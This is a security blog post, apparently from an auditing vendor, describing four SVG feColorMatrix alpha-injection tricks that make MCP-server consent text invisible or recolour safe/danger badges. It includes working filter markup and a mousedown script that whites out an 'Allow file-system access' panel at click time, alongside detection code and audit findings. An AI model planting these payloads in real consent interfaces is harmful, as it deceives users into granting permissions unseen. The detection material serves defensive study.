← Blog

MCP server SVG feColorMatrix alpha-channel injection consent security

Four SA-CSS-CZA consent attack patterns using feColorMatrix type="matrix" with non-zero coefficients in the alpha-input column (column 3, positions v[3], v[8], v[13]) — injecting the pixel’s own alpha value into its RGB output channels, which forces fully opaque consent text to constant white (WCAG 1.00:1), and evades scanners that inspect only RGB-to-RGB coefficient rows.

By SkillAudit  |  24 Oct 2026

The feColorMatrix type="matrix" 20-element values array encodes a 4×5 matrix where each output channel (R′, G′, B′, A′) is computed as a linear combination of the five inputs (R, G, B, A, and the constant 1). Column 3 of this matrix is the alpha-input column: it multiplies the pixel’s alpha value (between 0.0 and 1.0 in straight — non-premultiplied — SVG filter processing) and adds the result to each output channel. In a standard identity or grayscale matrix, the alpha-input column is zero for all RGB output rows (only A′ depends on A). Setting column 3 to a non-zero value in the RGB rows creates a cross-channel dependency: the alpha value of each pixel is injected into the colour output.

Alpha injection white-out: Any fully opaque pixel (A=1.0) with zero RGB input coefficients and alpha coefficient=1.0 in all RGB rows produces constant white output (R′=G′=B′=1.0, A′=1.0). Consent text rendered as opaque elements — the normal case for HTML text — becomes pure white on a white background. WCAG contrast: 1.00:1. The attack evades scanners that check only positions v[0]–v[2] (R-input), v[5]–v[7] (G-input), and v[10]–v[12] (B-input) for suspicious coefficient patterns, because those positions are all zero (benign). The attack is in position v[3]/v[8]/v[13] — the alpha-input column — which many checkers ignore.

Alpha-column injection formula

/* feColorMatrix 20-element values layout (4 rows × 5 columns):
   Row 0 (R output): v[0]×R  + v[1]×G  + v[2]×B  + v[3]×A  + v[4]
   Row 1 (G output): v[5]×R  + v[6]×G  + v[7]×B  + v[8]×A  + v[9]
   Row 2 (B output): v[10]×R + v[11]×G + v[12]×B + v[13]×A + v[14]
   Row 3 (A output): v[15]×R + v[16]×G + v[17]×B + v[18]×A + v[19]

   Alpha injection: set v[3]=v[8]=v[13]=1, all other RGB-row inputs to 0:
   values="0 0 0 1 0  0 0 0 1 0  0 0 0 1 0  0 0 0 1 0"

   For any pixel with alpha A (straight, 0–1 range):
     R' = 0×R + 0×G + 0×B + 1×A + 0 = A
     G' = A
     B' = A
     A' = A

   WCAG relative luminance of output (R'=G'=B'=A):
     L' = 0.2126×A + 0.7152×A + 0.0722×A = 1.0×A

   For fully opaque consent text (A=1.0):
     L' = 1.0  (pure white)
     WCAG contrast vs white (L=1.0): (1.0+0.05)/(1.0+0.05) = 1.00:1  — INVISIBLE

   For semi-transparent (A=0.5) composed on white background:
     Foreground pixel: R'=G'=B'=0.5, A'=0.5
     Composite: L_eff = 0.5×0.5 + (1-0.5)×1.0 = 0.25 + 0.5 = 0.75
     WCAG vs white: 1.05/(0.75+0.05) = 1.05/0.80 = 1.31:1  — fail

   Scanner blind spot: v[0]=v[1]=v[2]=0 (R-input column zero — no RGB cross-mixing)
   The attack is entirely in the alpha-input column (v[3]=v[8]=v[13]=1). */

SA-CSS-CZA-001: full alpha injection — all opaque content forced to white

Setting values="0 0 0 1 0  0 0 0 1 0  0 0 0 1 0  0 0 0 1 0" forces every output channel to the pixel’s own alpha. Consent text rendered as fully opaque HTML elements (A=1.0) becomes constant white. The filter applies in SVG linear-RGB space: even dark text (#111111, linearRGB ≈ 0.017) is transformed to (1.0, 1.0, 1.0) because only the alpha value (1.0) contributes. On a white background, white text produces a 1.00:1 contrast — the minimum possible. The background itself, if it is also opaque and inside the filter region, likewise transforms to white. Either way the consent panel is invisible.

<filter id="cza001">
  <feColorMatrix type="matrix"
    values="0 0 0 1 0
            0 0 0 1 0
            0 0 0 1 0
            0 0 0 1 0"/>
</filter>
<!-- For opaque dark text #111111 (linearRGB R=G=B≈0.017, A=1.0):
     R' = 1×A = 1.0  (pure white channel)
     G' = 1.0, B' = 1.0, A' = 1.0
     Output: (1.0, 1.0, 1.0, 1.0) = pure white, fully opaque
     WCAG vs white background: 1.05/1.05 = 1.00:1 — completely invisible.

     For transparent pixels (A=0.0): R'=G'=B'=0 (black), A'=0 (transparent)
     → transparent pixels remain transparent (not an issue)

     Scanner check: v[0]=v[1]=v[2]=0 → no suspicious R-source terms.
     Attackers rely on scanner ignoring v[3]=1 (alpha-input coefficient). -->

function detectAlphaColumnInjection(filterEl) {
  for (const m of filterEl.querySelectorAll('feColorMatrix[type="matrix"]')) {
    const v = (m.getAttribute('values') || '').trim().split(/\s+/).map(Number);
    if (v.length !== 20) continue;
    // Check each RGB output row for non-zero alpha-input coefficient
    for (const [base, alphaIdx] of [[0,3],[5,8],[10,13]]) {
      if (Math.abs(v[alphaIdx]) > 0.05) {
        // Non-trivial alpha contribution to RGB output
        // Simulate: for A=1 opaque pixel, what is the output channel?
        const outputAtA1 = v[base]*1 + v[base+1]*1 + v[base+2]*1 + v[alphaIdx]*1 + v[base+4];
        const outputClamped = Math.max(0, Math.min(1, outputAtA1));
        if (outputClamped > 0.85) {
          return { risk: 'CRITICAL', row: base/5, outputForOpaque: outputClamped.toFixed(3) };
        }
      }
    }
  }
  return null;
}

SA-CSS-CZA-002: scaled alpha injection — white-out for A ≥ 0.25, passes for low-alpha content

The coefficient for the alpha-input column is set to 2.0 with a constant offset of −0.5 in each RGB row: values="0 0 0 2 -0.5  0 0 0 2 -0.5  0 0 0 2 -0.5  0 0 0 1 0". For each pixel: R′=G′=B′=2×A−0.5. For fully opaque content (A=1.0): output=1.5, clamped to 1.0 — white. For A=0.75: output=1.0 — still white. For A=0.25 (threshold): output=0.0 — black. The threshold is exactly A=0.25. Any consent element with opacity >0.25 (the overwhelming majority of rendered text) becomes white. A scanner checking for alpha coefficient=1 as the attack signature misses coefficient=2; the correct check is any alpha coefficient value that, combined with the constant offset, produces output > 0.85 for typical A > 0.5 content.

<filter id="cza002">
  <feColorMatrix type="matrix"
    values="0 0 0 2 -0.5
            0 0 0 2 -0.5
            0 0 0 2 -0.5
            0 0 0 1 0"/>
</filter>
<!-- R' = 2×A - 0.5 (clamped to [0,1])
     A=1.0 (opaque)    → 2×1.0-0.5=1.5 → 1.0  (white, WCAG 1.00:1)
     A=0.75            → 2×0.75-0.5=1.0 → 1.0  (white)
     A=0.5             → 2×0.5-0.5=0.5  → 0.5  (mid-gray, WCAG 1.91:1)
     A=0.3             → 2×0.3-0.5=0.1  → 0.1  (L=0.1, WCAG 7.0:1 — passes)
     A=0.25 (threshold)→ 0.0 → 0.0  (black, WCAG 21:1 — passes)
     Evades exact-coefficient=1 check. Coefficient is 2.0. -->

SA-CSS-CZA-003: single-channel alpha injection — R-channel forced to maximum, colour semantics destroyed

Injecting alpha into only the R output row while preserving G and B: values="0 0 0 1 0  0 1 0 0 0  0 0 1 0 0  0 0 0 1 0". For opaque pixels: R′=A=1.0 (forced maximum), G′=G (preserved), B′=B (preserved). Dark consent text #111111 (linearRGB ≈ 0.017): becomes (1.0, 0.017, 0.017) — bright red. The relative luminance is L≈0.226; WCAG vs white: 1.05/0.276=3.80:1 (fails AA). More importantly: colour-coded consent UI loses semantic meaning. Green safe-badge #22C55E (R≈0.016) and red danger-badge #EF4444 (R≈0.871) both get their R channel replaced by alpha (1.0). Green becomes (1.0, 0.424, 0.085) — vivid orange; red becomes (1.0, 0.108, 0.108) — unchanged bright red. The safe-badge and danger-badge now both appear red/orange — the safe signal is destroyed.

<filter id="cza003">
  <feColorMatrix type="matrix"
    values="0 0 0 1 0
            0 1 0 0 0
            0 0 1 0 0
            0 0 0 1 0"/>
</filter>
<!-- Row 0 (R output): R' = alpha = 1.0 for all opaque pixels
     Row 1 (G output): G' = G (identity — green channel preserved)
     Row 2 (B output): B' = B (identity — blue channel preserved)
     Row 3 (A output): A' = A (alpha preserved)

     Dark text #111111 → (1.0, 0.017, 0.017): L≈0.226, WCAG 3.80:1 (fail AA)
     Green badge #22C55E → (1.0, 0.424, 0.085): vivid orange; WCAG 2.25:1 (fail)
     Red badge #EF4444  → (1.0, 0.108, 0.108): unchanged bright red; WCAG 3.47:1 (fail)
     Both safe and danger colours now appear red-orange; semantic distinction erased. -->

SA-CSS-CZA-004: JS mousedown identity → full alpha injection at click time

The initial filter values are the identity matrix. Consent text renders with correct colours. On mousedown (immediately before the click event fires), the matrix is switched to the full alpha injection variant. All consent text becomes white simultaneously with the confirmation tap. Static analysis of the page’s initial DOM sees only the identity matrix and reports no finding.

<svg style="position:absolute;width:0;height:0">
  <defs>
    <filter id="cza004">
      <feColorMatrix id="cza004M" type="matrix"
        values="1 0 0 0 0  0 1 0 0 0  0 0 1 0 0  0 0 0 1 0"/>
    </filter>
  </defs>
</svg>
<div style="filter:url(#cza004)">
  I grant file-system read access to this MCP server.
  <button id="allow">Allow</button>
</div>
<script>
document.getElementById("allow").addEventListener("mousedown", () => {
  document.getElementById("cza004M").setAttribute("values",
    "0 0 0 1 0  0 0 0 1 0  0 0 0 1 0  0 0 0 1 0");
  // All opaque content → white; WCAG 1.00:1 at confirmation moment
});
</script>

Attack summary

IDAlpha coeff (v[3],v[8],v[13])Effect at A=1.0WCAG vs whiteEvasionSeverity
SA-CSS-CZA-001 1.0 Pure white (L=1.0) 1.00:1 RGB-input check sees only zeros Critical
SA-CSS-CZA-002 2.0 (offset −0.5) White for A≥0.25; dark for A<0.25 1.00:1 (opaque) Alpha coefficient ≠ 1 evades equality check Critical
SA-CSS-CZA-003 1.0 (R row only) R=1.0 (max), G/B preserved → orange/red cast 3.80:1 (fail); semantic destruction Partial injection; G/B rows look normal High
SA-CSS-CZA-004 0 (identity) → 1.0 (mousedown) Correct colour at load; white at click — Static analysis sees identity Critical

Defences

SkillAudit findings for this attack surface

CRITICAL SA-CSS-CZA-001: feColorMatrix type="matrix" with alpha-input column coefficients=1.0 in all RGB output rows (values positions v[3]=v[8]=v[13]=1); all RGB input coefficients=0; constant offsets=0; effect: R′=G′=B′=A for every pixel; for fully opaque consent text (A=1.0) → pure white output; WCAG contrast vs white = 1.00:1; invisible on white background; evades RGB-input-only scanners because RGB coefficient positions v[0]–v[2], v[5]–v[7], v[10]–v[12] are all zero (benign appearance).
CRITICAL SA-CSS-CZA-002: feColorMatrix type="matrix" with scaled alpha injection (v[3]=v[8]=v[13]=2.0, constant offsets v[4]=v[9]=v[14]=−0.5); R′=G′=B′=2×A−0.5; white-out threshold A≥0.25 (covers all normally opaque consent text); passes for semi-transparent elements (A<0.25) — false-negative for low-opacity overlays; evades check for alpha coefficient=1.0 (coefficient is 2.0).
HIGH SA-CSS-CZA-003: feColorMatrix type="matrix" with single-channel alpha injection into R output row only (v[3]=1); G and B rows remain identity; dark consent text → bright red (#ff0404 approx); WCAG 3.80:1 (fail AA); colour-coded safe/danger badges both acquire forced red R-channel (both appear orange/red); semantic distinction between green safe and red danger badges erased; partial injection — G and B row inspections appear normal.
CRITICAL SA-CSS-CZA-004: JS mousedown event handler replaces identity matrix with full alpha injection (v[3]=v[8]=v[13]=1) on feColorMatrix in consent panel filter; static DOM: identity — no flag; click-time: pure white output; WCAG 1.00:1 at moment of user confirmation; MutationObserver on feColorMatrix values attribute required; re-run alpha-column check on every attribute mutation.

Related: feColorMatrix type=matrix exact white-out (SA-CSS-CMM)  |  feColorMatrix near-white bias (SA-CSS-CMB)  |  feColorMatrix mixed alpha+RGB combined attack (SA-CSS-CMA)

← Blog  |  Security Checklist